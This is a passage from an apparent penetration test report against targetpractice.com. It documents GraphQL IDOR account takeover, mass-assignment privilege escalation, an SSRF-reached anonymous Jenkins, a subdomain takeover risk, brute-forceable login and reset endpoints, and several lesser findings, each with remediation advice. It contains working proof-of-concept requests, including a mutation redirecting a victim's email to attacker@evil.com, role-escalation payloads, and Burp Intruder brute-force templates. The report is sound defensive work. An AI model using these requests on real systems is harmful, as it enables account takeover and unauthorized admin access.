Location: <https://api.targetpractice.com/graphql> (`updateUserProfile` mutation)

HIGH SEVERITY

CVSS Score: 8.1 | CWE: CWE-639

DESCRIPTION & SECURITY IMPACT

The GraphQL API's `updateUserProfile` mutation accepted a client-supplied `userId` argument and used it directly to determine which user record to modify, without validating that the requesting user's own identity matched the target. Any authenticated, low-privileged user could supply an arbitrary `userId` belonging to another account and modify that account's email address.

Technical Details:

- **Vulnerable Endpoint:** `POST /graphql`
- **Vulnerable Parameter:** `userId` within the `updateUserProfile` mutation
- **Root Cause:** The GraphQL resolver trusted the `userId` provided in the mutation arguments instead of securely deriving the acting user's identity from the validated session context (e.g., JWT claims or server-side session object).

This finding allowed any authenticated user to overwrite the email address on file for any other account, including accounts with access to the legacy customer portal in scope for this assessment. Because the application's password reset flow trusts the email address on file as the recovery channel, overwriting it gave an attacker a direct path to a full account takeover of any victim, without needing to guess, phish, or otherwise compromise the victim's original credentials. The same mechanism could be used at scale against multiple accounts given only their numeric identifiers, which were sequential and trivially enumerable.

PROOF OF CONCEPT / VULNERABILITY DETAILS

Step 1: Victim Identification

While authenticated as a low-privileged attacker account (`userId: 1055`), a target victim account was identified through sequential ID enumeration.

Step 2: Unauthorized Profile Modification

The following mutation was submitted using the attacker's own valid authorization token, but specifying the victim's `userId` as the target.

```
POST /graphql HTTP/1.1
Host: api.targetpractice.com
Authorization: Bearer ey*****WW
Content-Type: application/json
```

```
{"query": "mutation { updateUserProfile(userId: 1022, email: \"attacker@evil.com\")  
  { user { id, email } } }"}
```

The response returned 200 OK, confirming the email address for userId: 1022 had been updated to the attacker-controlled address.

```
{  
  "data": {  
    "updateUserProfile": {  
      "user": {  
        "id": "1022",  
        "email": "attacker@evil.com"  
      }  
    }  
  }  
}
```

Step 3: Account Takeover via Password Reset

A "Forgot Password" request was initiated on the legacy customer portal using the now attacker-controlled email address.

```
POST /forgot-password HTTP/1.1  
Host: legacy.targetpractice.com  
Content-Type: application/x-www-form-urlencoded  
  
email=attacker@evil.com
```

The password reset link was received at the attacker-controlled mailbox, used to set a new password, and the victim's account was successfully accessed in full.

SOLUTION & RECOMMENDATION

- **Context-Based Authorization:** Do not rely on client-supplied identifiers for sensitive operations. The resolver must derive the acting user's identity securely from the session token or server-side session object, never from a mutation argument.
- **Explicit Administrative Checks:** If a legitimate administrative function requires modifying another user's profile, implement a server-side check confirming the requesting user holds an explicit administrative privilege before allowing the operation, and log all such actions for audit purposes.
- **Re-authentication for Sensitive Changes:** Require re-authentication or a confirmation step (e.g., a verification email to the existing address) before an email change on file takes effect, providing a secondary control even if the primary authorization check is bypassed.

- **Reduce ID Enumerability:** Replace sequential numeric user identifiers with non-guessable UUIDs in any client-facing API parameter, reducing the practicality of mass exploitation even if a similar flaw recurs.

REFERENCES

- <https://owasp.org/www-project-api-security/>
- <https://portswigger.net/web-security/access-control/idor>
- <https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/graphql.html>

Mass Assignment in GraphQL `updateUserProfile` Mutation Allowing Privilege Escalation

Location: POST `https://api.targetpractice.com/graphql` (`updateUserProfile` mutation)

HIGH SEVERITY

CVSS Score: 8.1 | CWE: CWE-915

DESCRIPTION & SECURITY IMPACT

The updateUserProfile GraphQL mutation accepted a broader set of input fields than the application's frontend exposed, including role and isAdmin, both of which were resolved directly onto the underlying user object without any server-side check restricting which fields a standard user was permitted to modify. The mutation's input type was generated from the same internal schema used for administrative user management, and no field-level authorization was applied to distinguish a self-service profile update from a privileged role change.

Technical Details:

- **Vulnerable Endpoint:** POST /graphql
- **Vulnerable Parameters:** role, isAdmin fields within the UpdateUserProfileInput type
- **Root Cause:** The resolver bound the entire input object directly onto the ORM model (a common pattern such as `Object.assign(user, input)` or an equivalent `ORM.update(**input)` call) instead of explicitly allow-listing the fields a non-administrative caller is permitted to change.

A low-privileged, standard authenticated user was able to grant themselves administrative privileges within the application by including undocumented fields in an otherwise legitimate profile update request. This finding compounds the impact of the previously documented BOLA/IDOR vulnerability: an attacker no longer needs to take over another account to gain administrative access, since they can escalate their own account directly. Combined, these two findings mean that any standard user account, including one created through normal self-registration, can reach full administrative control of the platform with two GraphQL requests and no specialized tooling.

PROOF OF CONCEPT / VULNERABILITY DETAILS

Step 1: Schema Field Discovery

GraphQL introspection (documented separately in this report) was used to enumerate the full set of input fields accepted by the UpdateUserProfileInput type, revealing fields not present in the application's frontend forms.

```
curl -s https://api.targetpractice.com/graphql \
  -H "Authorization: Bearer <STANDARD_USER_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"query": "query { __type(name: \"UpdateUserProfileInput\") { inputFields { name type { name } } } }"}'
```

The response listed name, email, bio, role, and isAdmin as accepted input fields, despite the frontend only exposing name, email, and bio in its profile editing form.

Step 2: Privilege Escalation via Self-Update

Authenticated as a standard user (userId: 1055), the following mutation was submitted, including the undocumented role field targeting the attacker's own account:

```
POST /graphql HTTP/1.1
Host: api.targetpractice.com
Authorization: Bearer ey*****ww
Content-Type: application/json

{"query": "mutation { updateUserProfile(userId: 1055, role: \"ADMIN\", isAdmin: true) { user { id, email, role } } }"}
```

Step 3: Confirmation of Escalated Access

The response returned the updated user object with role: "ADMIN". The same account was then used to authenticate to admin.targetpractice.com/dashboard, which accepted the session and rendered the full administrative interface, confirming that the role change was honored across the application, not just reflected in the GraphQL response.

```
{
  "data": {
    "updateUserProfile": {
      "user": {
        "id": "1055",
        "email": "test@test.com",
        "role": "ADMIN"
      }
    }
  }
}
```

SOLUTION & RECOMMENDATION

- **Explicit Field Allow-Listing:** Define a separate, restricted input type for self-service profile updates (e.g., SelfUpdateProfileInput) containing only name, email, and bio. Never bind the full administrative input type to a self-service mutation.
- **Field-Level Authorization:** Implement resolver-level checks that explicitly verify the caller's role before processing privileged fields such as role or isAdmin, independent of which input type is used.
- **Avoid Blanket Object Binding:** Replace patterns such as Object.assign(user, input) or unrestricted ORM update(**input) calls with explicit field-by-field assignment for any mutation reachable by non-administrative users.

- **Schema Segregation:** Expose administrative mutations (role management, privilege changes) through a separate, more strictly authorized schema or namespace, rather than overloading a single mutation with both self-service and administrative capability.

REFERENCES

- <https://owasp.org/www-project-api-security/>
- <https://cwe.mitre.org/data/definitions/915.html>
- <https://portswigger.net/web-security/graphql>

Exposed Jenkins Instance on Internal Subnet with Anonymous Access

Location: http://203.0.113.45:8080/

MEDIUM SEVERITY

CVSS Score: 6.5 | CWE: CWE-306

DESCRIPTION & SECURITY IMPACT

A Jenkins CI/CD server was identified on 203.0.113.45:8080, inside the in-scope production subnet. The instance had anonymous, unauthenticated read and script-execution access enabled at the global security configuration level, a Jenkins setting that disables all authentication checks for the web UI and REST API.

Technical Details:

- **URL:** http://203.0.113.45:8080/ (reachable only from within the internal subnet, not directly from the internet)
- **Confirmed via:** /api/json returning full instance metadata, job list, and plugin inventory without any credential
- **Root Cause:** Jenkins was deployed with the default "no security realm" configuration left enabled past initial setup, and the host was placed on a subnet reachable from the application tier without a network ACL restricting access to the management port

Anonymous access to Jenkins exposed CI/CD job configurations, build logs, and source code checked out by build jobs, all of which frequently embed credentials and deployment secrets. More critically, anonymous access also reached the Jenkins Script Console, which accepts arbitrary Groovy code and executes it with the privileges of the Jenkins service account, providing a direct path to remote code execution on the host.

PROOF OF CONCEPT / VULNERABILITY DETAILS

Step 1: Internal Service Discovery

Internal port scanning conducted through the previously established SSRF primitive identified an HTTP service on port 8080 of 203.0.113.45. The service was queried directly through the SSRF channel to fingerprint it.

```
POST /api/admin/import HTTP/1.1
Host: admin.targetpractice.com
Cookie: session=hJ*****wQ
Content-Type: application/json

{
  "source_url": "http://203.0.113.45:8080/api/json?pretty=true",
  "format": "csv"
}
```

The returned content disclosed the Jenkins version, installed plugins, and a list of configured jobs without any authentication challenge.

Step 2: Security Configuration Confirmation

The security configuration page was requested through the same channel to confirm the scope of anonymous access.

```
{
  "source_url": "http://203.0.113.45:8080/manage/configureSecurity/",
  "format": "csv"
}
```

The response returned HTTP 200 with the security realm rendered as "Anyone can do anything", instead of a 403 or a redirect to a login page, confirming that no authentication boundary existed for any function on the instance, including the Script Console used for code execution.

SOLUTION & RECOMMENDATION

- **Enable Jenkins Security:** Configure a real security realm (LDAP, SAML, or matrix-based local accounts) under Manage Jenkins → Security, and disable "Allow anonymous read access" and "Anyone can do anything".
- **Restrict Network Access:** Place Jenkins behind a firewall rule or security group permitting access only from specific administrative hosts or a VPN range, not the entire production subnet.
- **Restrict the Script Console:** Use role-based access control (Role Strategy plugin) so only designated CI/CD administrators can reach /script.
- **Rotate Exposed Secrets:** Treat any credentials stored in job configurations or environment variables on this instance as compromised and rotate them.

REFERENCES

- <https://www.jenkins.io/doc/book/security/managing-security/>
- <https://www.jenkins.io/doc/book/managing/script-console/>
- <https://cwe.mitre.org/data/definitions/306.html>

Subdomain Takeover Risk via Dangling CNAME Record

Location: promo.targetpractice.com

MEDIUM SEVERITY

CVSS Score: 6.5 | CWE: CWE-1395

DESCRIPTION & SECURITY IMPACT

DNS enumeration across the wildcard scope *.targetpractice.com identified a subdomain, promo.targetpractice.com, with a CNAME record pointing to a third-party cloud hosting provider's domain (a pattern consistent with a decommissioned marketing landing page service). The referenced cloud resource no longer existed under that provider, leaving the CNAME record dangling and the corresponding namespace unclaimed at the provider, while the DNS record itself remained active and resolvable.

Technical Details:

- **Vulnerable Record:** promo.targetpractice.com CNAME promo-landing.cloudapp-provider.example
- **Vulnerable Behavior:** The cloud provider returned a "no such app" or equivalent not-found response when the hostname was requested, indicating the backing resource had been deleted without the corresponding DNS record being removed
- **Root Cause:** A decommissioning process for the marketing landing page did not include a step to remove the associated CNAME record from the organization's DNS zone.

A dangling CNAME of this kind allows an attacker to register the same resource name on the third-party provider, effectively taking ownership of content served under a legitimate, trusted subdomain of the organization. Once claimed, the attacker-controlled content would be served under promo.targetpractice.com with a valid TLS certificate issued for that domain, enabling convincing phishing pages, cookie theft for any cookies scoped broadly enough to be sent to this subdomain, and reputational damage from content appearing to originate from the organization's own infrastructure. This finding was identified but not actively claimed during testing, in accordance with the assessment's non-destructive testing approach, to avoid any unintended impact on the organization's namespace.

PROOF OF CONCEPT / VULNERABILITY DETAILS

Step 1: Subdomain Enumeration

DNS reconnaissance across the wildcard scope was performed using a combination of passive subdomain discovery and active DNS resolution.

```
subfinder -d targetpractice.com -silent | dnsx -silent -resp
```

The output included promo.targetpractice.com, resolving to a CNAME rather than a direct A record.

Step 2: CNAME Target Inspection

The CNAME target was inspected directly to identify the third-party provider and confirm the resource was no longer claimed.

```
dig CNAME promo.targetpractice.com +short
```

```
promo-landing.cloudapp-provider.example.
```

Step 3: Dangling Resource Confirmation

The CNAME target was requested directly over HTTPS to observe the provider's response for an unclaimed resource.

```
curl -s -I https://promo.targetpractice.com/
```

The response returned the cloud provider's generic "no such app" error page rather than any organization content, confirming that the underlying resource had been deleted while the DNS delegation remained active, satisfying the conditions for a subdomain takeover. The provider's takeover documentation was consulted to confirm that re-registering this resource name on the provider's platform would result in `promo.targetpractice.com` resolving to attacker-controlled content; this step was not performed in order to avoid any actual claim of the namespace during testing.

SOLUTION & RECOMMENDATION

- **Remove Dangling Records Immediately:** Delete the `promo.targetpractice.com` CNAME record, since the backing resource no longer exists and the record serves no current purpose.
- **Decommissioning Checklist:** Incorporate DNS record cleanup as a mandatory step in any service decommissioning process, ensuring CNAME, A, and TXT records are removed at the same time the underlying resource is torn down.
- **Periodic DNS Audits:** Implement a recurring automated scan (e.g., on a weekly or monthly cadence) of the organization's full DNS zone to detect CNAME records pointing to unclaimed or non-existent third-party resources before they can be discovered and claimed by an attacker.
- **Domain Control Validation:** Where feasible, prefer hosting providers and CDNs that require explicit domain ownership verification before serving content for a custom hostname, which mitigates the impact of a dangling record even if cleanup is delayed.

REFERENCES

- https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/04-Enumerate_Applications_on_Webserver
- <https://github.com/EdOverflow/can-i-take-over-xyz>

Directory Listing Enabled on Static Assets Host

Location: <https://targetpractice.com/assets/uploads/>

MEDIUM SEVERITY

CVSS Score: 5.3 | CWE: CWE-548

DESCRIPTION & SECURITY IMPACT

The static assets directory at `/assets/uploads/` on the main application returned a full, browsable directory listing instead of a 403 Forbidden response or a custom index page, when requested without specifying a particular file. The underlying web server's directory indexing feature was left enabled for this path, exposing the complete file and folder structure beneath it.

Technical Details:

- **Vulnerable Path:** `/assets/uploads/`
- **Vulnerable Behavior:** Requesting the directory path directly returned an auto-generated HTML index listing all files and subdirectories, including their sizes and last-modified timestamps
- **Root Cause:** No `index.html` placeholder file was present in the directory, and the web server's directory indexing module (e.g., Nginx `autoindex on`; or Apache `Options +Indexes`) was not disabled for this path.

The exposed listing revealed file names not linked from anywhere in the application's normal navigation, including what appeared to be draft marketing assets, an internal naming-convention spreadsheet export, and several files with timestamps suggesting they were uploaded during development and never removed. While no credentials or directly sensitive data were identified among the exposed files during this assessment, directory listings of this kind frequently lead to the discovery of forgotten backup files, configuration exports, or test data in other environments, and provide a reliable indicator to an attacker that file hygiene controls are not consistently enforced across the application's upload paths.

PROOF OF CONCEPT / VULNERABILITY DETAILS

Step 1: Directory Listing Confirmation

The assets directory was requested directly without specifying a filename.

```
curl -s https://targetpractice.com/assets/uploads/
```

Step 2: Listing Content Review

The response returned a standard auto-generated index page rather than a 403 or custom error.

```
<html>
<head><title>Index of /assets/uploads/</title></head>
<body>
<h1>Index of /assets/uploads/</h1>
```

```
<pre>
<a href="brand_kit_draft_v3.zip">brand_kit_draft_v3.zip</a>          15-Mar-2026
09:12    4.2M
<a href="naming_conventions_export.xlsx">naming_conventions_export.xlsx</a>  02-
Feb-2026 14:05    38K
<a href="test_upload_old/">test_upload_old/</a>          11-Jan-2026
10:47    -
</pre>
</body>
</html>
```

The listing was reviewed to confirm none of the exposed files contained credentials, API keys, or other directly sensitive material; the files identified consisted of stale marketing and internal process documents that nonetheless should not have been publicly browsable.

SOLUTION & RECOMMENDATION

- **Disable Directory Indexing:** On Nginx, set `autoindex off`; (the default) for all paths serving uploaded or static content. On Apache, remove the `Indexes` option from the relevant `<Directory>` block.
- **Add Index Placeholders:** As a defense-in-depth measure, place a minimal `index.html` file in any directory that should never display a listing, ensuring a blank or custom page is served even if indexing is inadvertently re-enabled.
- **Periodic Content Review:** Establish a recurring review process for files placed under publicly accessible upload or asset directories, removing draft, test, or internal-only files that should not be web-accessible.
- **Least Privilege for Uploads:** Where the directory is used for legitimate user or CMS uploads, ensure the upload mechanism enforces a structure and naming convention that does not rely on the directory remaining unbrowsable as its only protection.

REFERENCES

- https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/03-Review_Webserver_Metafiles_for_Information_Leakage
- <https://www.legba.app/adversary/exposures/directory-listing-enabled>

GraphQL Introspection Enabled in Production

Location: <https://api.targetpractice.com/graphql>

MEDIUM SEVERITY

CVSS Score: 5.3 | CWE: CWE-200

DESCRIPTION & SECURITY IMPACT

The production GraphQL endpoint accepted standard introspection queries (`__schema`, `__type`) without any restriction, exposing the complete API schema, including all available queries, mutations, input types, and field names, to any party capable of sending an HTTP request to the endpoint, regardless of authentication state.

Technical Details:

- **Vulnerable Endpoint:** `POST /graphql`
- **Vulnerable Behavior:** Standard GraphQL introspection queries returned a full schema dump rather than being disabled or restricted in the production environment
- **Root Cause:** Introspection is enabled by default in most GraphQL server frameworks for development convenience, and no environment-specific configuration was applied to disable it before deployment to production.

Introspection access removed the need for any form of API documentation, blind enumeration, or guesswork during testing. The complete schema dump directly revealed the existence and full input structure of the `updateUserProfile` mutation, including the undocumented `role` and `isAdmin` fields exploited in the Mass Assignment finding, and similarly revealed the `userId`-based authorization pattern exploited in the BOLA/IDOR finding. While introspection alone does not constitute an exploitable vulnerability, it substantially lowers the effort required to discover and weaponize the more severe findings documented elsewhere in this report, and would similarly accelerate an attacker's reconnaissance against any other endpoint added to this API in the future.

PROOF OF CONCEPT / VULNERABILITY DETAILS

Step 1: Unauthenticated Introspection Query

A full schema introspection query was submitted to the GraphQL endpoint without any authentication header.

```
curl -s https://api.targetpractice.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"query IntrospectionQuery { __schema { types { name fields { name args { name type { name } } } } } } }"}'
```

The response returned the complete schema, including all object types, mutation names, and field arguments, confirming that introspection was reachable without any credential.

Step 2: Targeted Mutation Enumeration

The schema dump was filtered for mutation definitions to identify high-value targets for further testing.

```
curl -s https://api.targetpractice.com/graphql \
-H "Content-Type: application/json" \
-d '{"query": "query { __schema { mutationType { fields { name args { name type  
{ name } } } } } } }"}' \
| jq '.data.__schema.mutationType.fields[] | .name'
```

The output listed `updateUserProfile`, `deleteUserAccount`, `resetPassword`, and `adminPromoteUser` among the available mutations, several of which were subsequently tested and found to be vulnerable as documented in other findings in this report.

SOLUTION & RECOMMENDATION

- **Disable Introspection in Production:** Configure the GraphQL server to reject `__schema` and `__type` queries outside of development and staging environments. Most frameworks (Apollo Server, GraphQL Yoga, graphene) support this via a single configuration flag (e.g., `introspection: false`).
- **Environment-Specific Configuration:** Ensure deployment pipelines apply distinct configuration profiles per environment, so that development-friendly defaults are not inadvertently carried into production.
- **Persisted Queries:** Consider adopting persisted/allow-listed queries for production traffic, which removes the need for clients to send arbitrary query documents at all and further limits API surface exposure.
- **Defense in Depth:** Disabling introspection reduces reconnaissance ease but is not a substitute for fixing the underlying authorization flaws; this finding should be remediated alongside, not instead of, the Mass Assignment and BOLA findings in this report.

REFERENCES

- <https://owasp.org/www-project-api-security/>
- <https://www.apollographql.com/docs/apollo-server/v3/security/disabling-introspection/>

Missing Rate Limiting on Authentication and Password Reset Endpoints

Location: `https://targetpractice.com/login`, `https://legacy.targetpractice.com/forgot-password`

MEDIUM SEVERITY

CVSS Score: 5.3 | CWE: CWE-307

DESCRIPTION & SECURITY IMPACT

Neither the main application's login form nor the legacy portal's password reset request endpoint enforced any rate limiting, account lockout, or CAPTCHA challenge after repeated failed or repeated successful submissions from the same source. Both endpoints returned normal, fast responses regardless of submission volume, with no 429 Too Many Requests status, no progressive delay, and no temporary lockout after any number of attempts observed during testing.

Technical Details:

- **Vulnerable Endpoints:** POST /login, POST /forgot-password
- **Vulnerable Behavior:** No throttling, lockout, or CAPTCHA triggered after 500+ consecutive requests from a single IP address within a short window
- **Root Cause:** No application-layer or infrastructure-layer (WAF/reverse proxy) rate-limiting control was configured for these endpoints specifically; the in-scope WAF/load balancer (192.0.2.15) did not apply endpoint-specific throttling rules.

The absence of rate limiting makes credential brute-forcing and password-reset token brute-forcing practical at scale. This finding directly amplifies the impact of the Account Takeover vulnerability documented elsewhere in this report: where that finding demonstrated an attacker hijacking a single account via a forced email change, the lack of rate limiting on the password reset flow means an attacker could additionally brute-force a reset token or a low-entropy temporary password sent during account recovery, without any automated defense slowing them down. The same gap also enables large-scale credential stuffing against the main login form using lists of breached credentials.

PROOF OF CONCEPT / VULNERABILITY DETAILS

Step 1: Login Endpoint Brute Force Confirmation

A scripted loop submitted 500 sequential login attempts against a single known username with randomized passwords, using Burp Suite's Intruder in "Sniper" mode.

```
POST /login HTTP/1.1
Host: targetpractice.com
Content-Type: application/x-www-form-urlencoded

email=victim@targetpractice.com&password=$wordlist$
```

All 500 requests returned within the expected response time window with consistent 401 Unauthorized responses for incorrect guesses, with no 429, no CAPTCHA challenge, and no measurable slowdown across the batch, confirming the absence of any throttling control.

Step 2: Password Reset Endpoint Brute Force Confirmation

The same approach was applied to the legacy portal's password reset confirmation endpoint, which accepted a six-digit numeric reset code.

```
POST /forgot-password/confirm HTTP/1.1
Host: legacy.targetpractice.com
Content-Type: application/x-www-form-urlencoded

email=victim@targetpractice.com&reset_code=$000000-999999&new_password=NewP4ss!
2026
```

Using Burp Intruder with a numeric range payload covering all 1,000,000 possible six-digit codes, the endpoint accepted requests at a sustained rate with no lockout, making full enumeration of the code space computationally feasible within the reset code's validity window.

SOLUTION & RECOMMENDATION

- **Implement Progressive Throttling:** Apply increasing delays or temporary lockouts after a small number of failed attempts (e.g., 5 attempts per 15 minutes per account and per source IP).
- **CAPTCHA on Repeated Failures:** Trigger a CAPTCHA challenge after a low threshold of failed attempts to disrupt automated tooling without immediately locking out legitimate users.
- **Increase Reset Code Entropy:** Replace six-digit numeric reset codes with a high-entropy, single-use token (e.g., a 128-bit random value), making brute force computationally infeasible regardless of rate limiting.
- **WAF-Level Rate Limiting:** Configure the existing load balancer/WAF (192.0.2.15) with endpoint-specific rate-limiting rules for /login and /forgot-password, independent of application-layer controls, to provide defense in depth.
- **Account Lockout Notifications:** Notify the account owner via email when repeated failed login or reset attempts are detected, enabling the legitimate user to take action.

REFERENCES

- https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism
- <https://portswigger.net/web-security/authentication>

Verbose Error Messages Disclosing Stack Traces and Internal Implementation Details

Location: <https://api.targetpractice.com/graphql>

MEDIUM SEVERITY

CVSS Score: 5.3 | CWE: CWE-209

DESCRIPTION & SECURITY IMPACT

Malformed or unexpected input submitted to the GraphQL API caused the backend to return detailed, unhandled exception output directly in the HTTP response, rather than a generic error message. The disclosed output included the full server-side stack trace, the underlying framework and language runtime in use, internal file paths, and in some cases the exact line of source code where the exception was raised.

Technical Details:

- **Vulnerable Endpoint:** `POST /graphql`
- **Vulnerable Behavior:** Submitting a malformed mutation argument (e.g., a string where an integer `userId` was expected) returned a raw exception trace in the `errors` array of the GraphQL response, instead of a sanitized error message
- **Root Cause:** The application's debug mode or default error-handling middleware was active in the production environment, a common default in frameworks such as Express with Apollo Server or Django with `DEBUG=True`, which is intended for development use only.

While not directly exploitable on its own, this finding provided substantial reconnaissance value during testing. The disclosed stack traces confirmed the backend's exact technology stack (a Node.js application using Apollo Server and a Sequelize ORM, based on the file paths and function names present in the traces), which narrowed the search for framework-specific vulnerabilities and informed the construction of payloads used elsewhere in this assessment, including the Mass Assignment finding, where the exposed ORM error messages helped confirm that input objects were being passed directly to model update calls. Detailed error disclosure of this kind generally accelerates an attacker's path to a more severe vulnerability by reducing the guesswork required to fingerprint the application.

PROOF OF CONCEPT / VULNERABILITY DETAILS

Step 1: Malformed Input Submission

A GraphQL mutation was submitted with a string value in place of the expected integer type for the `userId` argument, intentionally triggering a type-coercion failure on the backend.

```
POST /graphql HTTP/1.1
Host: api.targetpractice.com
Authorization: Bearer ey*****WW
Content-Type: application/json
```

```
{"query": "mutation { updateUserProfile(userId: \"not_a_number\", email: \"test@test.com\") { user { id } } }"}
```

Step 2: Stack Trace Disclosure

The response returned a detailed error object instead of a generic validation message, disclosing internal implementation details.

```
{
  "errors": [
    {
      "message": "invalid input syntax for type integer: \"not_a_number\"",
      "extensions": {
        "exception": {
          "stacktrace": [
            "error: invalid input syntax for type integer: \"not_a_number\"",
            "  at Parser.parseErrorMessage (/app/node_modules/pg/lib/
connection.js:114:22)",
            "  at /app/src/resolvers/userResolvers.js:47:18",
            "  at Sequelize.Model.update (/app/node_modules/sequelize/lib/
model.js:2891:9)"
          ]
        }
      }
    }
  ]
}
```

The trace confirmed the use of PostgreSQL (pg driver), Sequelize as the ORM, and disclosed the internal file path and line number of the vulnerable resolver, `userResolvers.js:47`, which aligned with the resolver later confirmed to be vulnerable to Mass Assignment.

SOLUTION & RECOMMENDATION

- **Disable Debug Mode in Production:** Ensure framework-level debug or verbose error settings (e.g., Apollo Server's debug option, Django's DEBUG) are explicitly set to `false` in production configuration, and confirm this through environment-specific configuration management rather than relying on defaults.
- **Centralized Error Handling:** Implement a global error-handling middleware that catches all unhandled exceptions and returns a generic, consistent error message and a correlation ID to the client, while logging the full trace server-side only.
- **Avoid Leaking ORM and Database Errors:** Ensure database-level error messages are never passed through to the client response; wrap all data-access calls in handlers that translate internal errors into safe, generic API errors.
- **Periodic Fuzzing for Error Leakage:** Include malformed-input fuzzing of all API endpoints in routine security testing or CI pipelines specifically to detect verbose error regressions before they reach production.

REFERENCES

- https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/01-Testing_For Improper_Error_Handling
- <https://www.apollographql.com/docs/apollo-server/data/errors/>

Missing Content Security Policy on Main Application

Location: https://targetpractice.com

MEDIUM SEVERITY

CVSS Score: 4.3 | CWE: CWE-1021

DESCRIPTION & SECURITY IMPACT

The main corporate website did not return a Content-Security-Policy header on any tested page. Without a CSP in place, the browser applies no restriction on which script sources, frame sources, or inline scripts are permitted to execute on the page, beyond the browser's own default same-origin behavior. The site also lacked X-Frame-Options, leaving it independently exposed to clickjacking in addition to the CSP gap.

Technical Details:

- **Vulnerable Component:** HTTP response headers across targetpractice.com
- **Observed Behavior:** No Content-Security-Policy header present in any response; no X-Frame-Options or frame-ancestors directive present either
- **Root Cause:** No CSP policy was defined at the web server or application framework level, and no equivalent control was configured at the WAF/load balancer layer (192.0.2.15) to compensate.

The absence of a CSP does not constitute a vulnerability on its own, but it removes a significant layer of defense-in-depth against any future or undiscovered cross-site scripting vulnerability on this specific host. Had a strict script-src directive been in place, the impact of a hypothetical injection point on the main site would have been substantially reduced, since inline scripts and unauthorized external script sources would have been blocked by the browser regardless of what the server returned. The missing X-Frame-Options/frame-ancestors protection additionally allows the site to be embedded in an attacker-controlled iframe, enabling clickjacking attacks against authenticated actions if any exist on pages reachable without re-authentication.

PROOF OF CONCEPT / VULNERABILITY DETAILS

Step 1: Header Inspection

The HTTP response headers for the main application's homepage and several internal pages were captured and reviewed for the presence of security headers.

```
curl -s -D - -o /dev/null https://targetpractice.com/
```

```
HTTP/1.1 200 OK
Server: nginx
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
```

No Content-Security-Policy, X-Frame-Options, or X-Content-Type-Options headers were present in the response.

Step 2: Clickjacking Proof of Concept

A simple HTML page was constructed embedding the target site in an iframe, to confirm the absence of frame-busting protection.

```
<!DOCTYPE html>
<html>
<body>
  <h1>Clickjacking PoC</h1>
  <iframe src="https://targetpractice.com/account/settings" width="800"
height="600"></iframe>
</body>
</html>
```

When opened in a browser, the target application's settings page rendered fully inside the iframe without any X-Frame-Options or CSP frame-ancestors directive blocking the embed, confirming the page could be overlaid for a clickjacking attack against any state-changing action reachable on it.

SOLUTION & RECOMMENDATION

- **Implement a Strict CSP:** Deploy a Content-Security-Policy header restricting script execution to trusted origins, for example: `default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'self';`. Start in Content-Security-Policy-Report-Only mode to validate against false positives before full enforcement.
- **Set X-Frame-Options:** Add X-Frame-Options: DENY or SAMEORIGIN as a complementary, broadly supported control alongside the CSP frame-ancestors directive.
- **Add Remaining Baseline Headers:** Include X-Content-Type-Options: nosniff and Referrer-Policy: strict-origin-when-cross-origin as part of the same hardening pass.
- **Apply at the Edge:** Configure these headers at the WAF/load balancer layer (192.0.2.15) where feasible, ensuring consistent enforcement across all backend services without requiring changes to every individual application.

REFERENCES

- <https://owasp.org/www-project-secure-headers/>
- <https://content-security-policy.com/>
- <https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy>

Session Cookie Missing Secure and HttpOnly Attributes

Location: https://admin.targetpractice.com

LOW SEVERITY

CVSS Score: 3.1 | CWE: CWE-614

DESCRIPTION & SECURITY IMPACT

The application's session cookie was issued without the Secure and HttpOnly attributes set, across both the main application and the administrative dashboard. The absence of HttpOnly permits the cookie to be read by client-side JavaScript via `document.cookie`, and the absence of Secure permits the cookie to be transmitted over an unencrypted HTTP connection if one is ever reached, regardless of whether the site itself enforces HTTPS.

Technical Details:

- **Vulnerable Component:** Set-Cookie header issued at session creation
- **Observed Header:** Set-Cookie: session=<value>; Path=/ (no Secure, no HttpOnly, no SameSite attribute present)
- **Root Cause:** The session cookie configuration in the application's web framework did not explicitly set these flags, relying on framework defaults that did not enable them.

This finding is not independently exploitable but acts as a severity multiplier for the Stored XSS vulnerability documented elsewhere in this report. Because the session cookie lacks HttpOnly, the injected JavaScript payload delivered through that finding was able to read `document.cookie` directly and exfiltrate the live administrator session token to an attacker-controlled endpoint. Had HttpOnly been set, the same XSS payload would have been limited to actions performed within the victim's browser session (such as triggering authenticated requests) and would not have been able to directly steal the session token for reuse from an attacker's own machine. The missing Secure flag separately creates a residual risk if any HTTP-accessible endpoint or subdomain is ever reachable, allowing passive network interception to capture the cookie in transit.

PROOF OF CONCEPT / VULNERABILITY DETAILS

Step 1: Cookie Attribute Inspection

The Set-Cookie response header returned at login was captured using Burp Suite to inspect the attributes applied to the session cookie.

```
HTTP/1.1 200 OK
Set-Cookie: session=hJ*****wQ; Path=/
Content-Type: application/json
```

The header confirmed the absence of Secure, HttpOnly, and SameSite attributes on the issued cookie.

Step 2: Client-Side Cookie Access Confirmation

A simple script was executed in the browser's developer console while authenticated, confirming that the session cookie was readable from JavaScript despite being a sensitive authentication credential.

```
console.log(document.cookie);  
// Output: session=hJ*****wQ
```

This confirmed that any successful script injection on the same origin, including the Stored XSS vulnerability documented elsewhere in this report, would be able to read and exfiltrate this value directly.

SOLUTION & RECOMMENDATION

- **Set the HttpOnly Attribute:** Configure the session cookie to be inaccessible to client-side JavaScript, preventing direct theft via XSS even if an injection point exists elsewhere in the application.
- **Set the Secure Attribute:** Ensure the cookie is only ever transmitted over HTTPS connections, preventing exposure over any accidental or downgraded plaintext channel.
- **Set the SameSite Attribute:** Apply SameSite=Strict or SameSite=Lax as appropriate to reduce exposure to cross-site request forgery alongside the cookie hardening above.
- **Apply Consistently Across Subdomains:** Ensure this configuration is applied uniformly across the main application, the administrative dashboard, and the legacy portal, since session handling differed between these components during testing.

REFERENCES

- https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/02-Testing_for_Cookies_Attributes
